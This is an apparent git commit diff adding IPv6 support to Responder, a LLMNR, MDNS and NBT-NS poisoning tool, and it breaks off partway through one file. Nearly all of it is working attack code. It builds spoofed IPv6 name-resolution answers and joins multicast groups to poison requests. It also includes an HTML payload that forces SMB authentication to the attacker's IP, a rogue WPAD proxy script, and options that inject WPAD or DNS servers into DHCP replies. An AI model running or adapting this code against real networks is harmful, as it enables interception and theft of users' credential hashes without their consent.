Added IPv6 support

This commit is contained in:
lgandx 2021-12-17 10:05:00 -03:00
parent bc812da2ef
commit 5d4510cc1d
13 changed files with 352 additions and 138 deletions

View file

@ -29,14 +29,12 @@ parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False) parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None) parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None) parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None) parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False) parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
@ -75,10 +73,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
@ -91,10 +90,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
TCPServer.server_bind(self) TCPServer.server_bind(self)
@ -107,10 +107,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self) TCPServer.server_bind(self)
@ -118,12 +119,18 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
MADDR = "224.0.0.251" MADDR = "224.0.0.251"
MADDR6 = 'ff02::fb'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
if (sys.version_info > (3, 0)):
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
else:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
@ -131,21 +138,25 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise
pass pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
MADDR = "224.0.0.252" MADDR = '224.0.0.252'
MADDR6 = 'FF02:0:0:0:0:0:1:3'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
try: try:
if settings.Config.Bind_To_ALL: if settings.Config.Bind_To_ALL:
@ -153,51 +164,61 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
else: else:
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else: else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except: except:
raise pass
#pass
UDPServer.server_bind(self) UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1 ThreadingUDPServer.allow_reuse_address = 1
ThreadingUDPServer.address_family = socket.AF_INET6
ThreadingTCPServer.allow_reuse_address = 1 ThreadingTCPServer.allow_reuse_address = 1
ThreadingTCPServer.address_family = socket.AF_INET6
ThreadingUDPMDNSServer.allow_reuse_address = 1 ThreadingUDPMDNSServer.allow_reuse_address = 1
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
ThreadingUDPLLMNRServer.allow_reuse_address = 1 ThreadingUDPLLMNRServer.allow_reuse_address = 1
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
ThreadingTCPServerAuth.allow_reuse_address = 1 ThreadingTCPServerAuth.allow_reuse_address = 1
ThreadingTCPServerAuth.address_family = socket.AF_INET6
def serve_thread_udp_broadcast(host, port, handler): def serve_thread_udp_broadcast(host, port, handler):
try: try:
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_NBTNS_poisoner(host, port, handler): def serve_NBTNS_poisoner(host, port, handler):
serve_thread_udp_broadcast(host, port, handler) serve_thread_udp_broadcast('', port, handler)
def serve_MDNS_poisoner(host, port, handler): def serve_MDNS_poisoner(host, port, handler):
try: try:
server = ThreadingUDPMDNSServer((host, port), handler) server = ThreadingUDPMDNSServer(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_LLMNR_poisoner(host, port, handler): def serve_LLMNR_poisoner(host, port, handler):
try: try:
server = ThreadingUDPLLMNRServer((host, port), handler) server = ThreadingUDPLLMNRServer(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
raise
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_udp(host, port, handler): def serve_thread_udp(host, port, handler):
try: try:
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer(('', port), handler)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingUDPServer((host, port), handler) server = ThreadingUDPServer(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
@ -205,10 +226,10 @@ def serve_thread_udp(host, port, handler):
def serve_thread_tcp(host, port, handler): def serve_thread_tcp(host, port, handler):
try: try:
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer(('', port), handler)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@ -216,10 +237,10 @@ def serve_thread_tcp(host, port, handler):
def serve_thread_tcp_auth(host, port, handler): def serve_thread_tcp_auth(host, port, handler):
try: try:
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingTCPServerAuth((host, port), handler) server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingTCPServerAuth((host, port), handler) server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever() server.serve_forever()
except: except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@ -231,11 +252,11 @@ def serve_thread_SSL(host, port, handler):
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
if OsInterfaceIsSupported(): if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer(('', port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever() server.serve_forever()
else: else:
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer(('', port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever() server.serve_forever()
except: except:
@ -243,7 +264,10 @@ def serve_thread_SSL(host, port, handler):
def main(): def main():
try: try:
if (sys.version_info < (3, 0)):
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
print(color('\n[+]', 2, 1) + " Listening for events...\n") print(color('\n[+]', 2, 1) + " Listening for events...\n")
threads = [] threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners # Load (M)DNS, NBNS and LLMNR Poisoners

View file

@ -23,7 +23,7 @@ import re
from os import urandom from os import urandom
from base64 import b64decode, b64encode from base64 import b64decode, b64encode
from odict import OrderedDict from odict import OrderedDict
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3 from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py). # Packet class handling all packet generation (see odict.py).
class Packet(): class Packet():
@ -90,6 +90,32 @@ class DNS_Ans(Packet):
self.fields["IP"] = RespondWithIPAton() self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet): class DNS_SRV_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Tid", ""), ("Tid", ""),
@ -181,6 +207,35 @@ class LLMNR_Ans(Packet):
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"]) self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"]) self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
class LLMNR6_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x1c"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
# MDNS Answer Packet # MDNS Answer Packet
class MDNS_Ans(Packet): class MDNS_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -200,6 +255,29 @@ class MDNS_Ans(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# MDNS6 Answer Packet
class MDNS6_Ans(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x1c"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
################### DHCP SRV ###################### ################### DHCP SRV ######################
@ -299,7 +377,7 @@ class IIS_Auth_Granted(Packet):
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("CRLF", "\r\n\r\n"), ("CRLF", "\r\n\r\n"),
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"), ("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\"+RespondWithIP()+"\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
]) ])
def calculate(self): def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"])) self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@ -358,7 +436,7 @@ class WPADScript(Packet):
("ContentLen", "Content-Length: "), ("ContentLen", "Content-Length: "),
("ActualLen", "76"), ("ActualLen", "76"),
("CRLF", "\r\n\r\n"), ("CRLF", "\r\n\r\n"),
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), ("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
]) ])
def calculate(self): def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"])) self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@ -2228,7 +2306,7 @@ class SamLogonResponseEx(Packet):
("ServerName", settings.Config.MachineName), ("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"), ("ServerTerminator", "\x00"),
("UsernameLen", "\x10"), ("UsernameLen", "\x10"),
("Username", "LGANDX"), ("Username", settings.Config.Username),
("UserTerminator", "\x00"), ("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"), ("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"), ("SrvSiteName", "Default-First-Site-Name"),

36
poisoners/LLMNR.py Normal file → Executable file
View file

@ -14,9 +14,7 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from packets import LLMNR_Ans, LLMNR6_Ans
import fingerprint
from packets import LLMNR_Ans
from utils import * from utils import *
if (sys.version_info > (3, 0)): if (sys.version_info > (3, 0)):
@ -24,9 +22,6 @@ if (sys.version_info > (3, 0)):
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
def Parse_LLMNR_Name(data): def Parse_LLMNR_Name(data):
import codecs import codecs
NameLen = data[12] NameLen = data[12]
@ -60,14 +55,13 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try: try:
data, soc = self.request data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1") Name = Parse_LLMNR_Name(data).decode("latin-1")
LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True: if RespondToThisHost(self.client_address[0], Name) is not True:
return None return None
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data): #IPv4
Finger = None if data[2:4] == b'\x00\x00' and LLMNRType:
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]" LineHeader = "[Analyze mode: LLMNR]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
@ -77,7 +71,8 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
'ForName': Name, 'ForName': Name,
'AnalyzeMode': '1', 'AnalyzeMode': '1',
}) })
else: # Poisoning Mode
elif LLMNRType == True: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1.calculate() Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
@ -89,8 +84,19 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
'ForName': Name, 'ForName': Name,
'AnalyzeMode': '0', 'AnalyzeMode': '0',
}) })
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) elif LLMNRType == 'IPv6':
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
except: except:
raise raise

30
poisoners/MDNS.py Normal file → Executable file
View file

@ -20,7 +20,7 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler from socketserver import BaseRequestHandler
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import MDNS_Ans from packets import MDNS_Ans, MDNS6_Ans
from utils import * from utils import *
def Parse_MDNS_Name(data): def Parse_MDNS_Name(data):
@ -51,18 +51,16 @@ def Poisoned_MDNS_Name(data):
class MDNS(BaseRequestHandler): class MDNS(BaseRequestHandler):
def handle(self): def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request data, soc = self.request
Request_Name = Parse_MDNS_Name(data) Request_Name = Parse_MDNS_Name(data)
MDNSType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
return None return None
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data):
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'MDNS', 'Poisoner': 'MDNS',
@ -70,14 +68,11 @@ class MDNS(BaseRequestHandler):
'ForName': Request_Name, 'ForName': Request_Name,
'AnalyzeMode': '1', 'AnalyzeMode': '1',
}) })
else: # Poisoning Mode elif MDNSType == True: # Poisoning Mode
if Parse_IPV6_Addr(data):
Poisoned_Name = Poisoned_MDNS_Name(data) Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
Buffer.calculate() Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT)) soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'MDNS', 'Poisoner': 'MDNS',
@ -85,3 +80,16 @@ class MDNS(BaseRequestHandler):
'ForName': Request_Name, 'ForName': Request_Name,
'AnalyzeMode': '0', 'AnalyzeMode': '0',
}) })
elif MDNSType == 'IPv6': # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS6',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})

23
poisoners/NBTNS.py Normal file → Executable file
View file

@ -14,7 +14,6 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint
import sys import sys
from packets import NBT_Ans from packets import NBT_Ans
from utils import * from utils import *
@ -24,21 +23,6 @@ if (sys.version_info > (3, 0)):
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
# Define what are we answering to.
def Validate_NBT_NS(data):
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
if settings.Config.AnalyzeMode:
return False
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
return True
elif settings.Config.NBTNSDomain:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
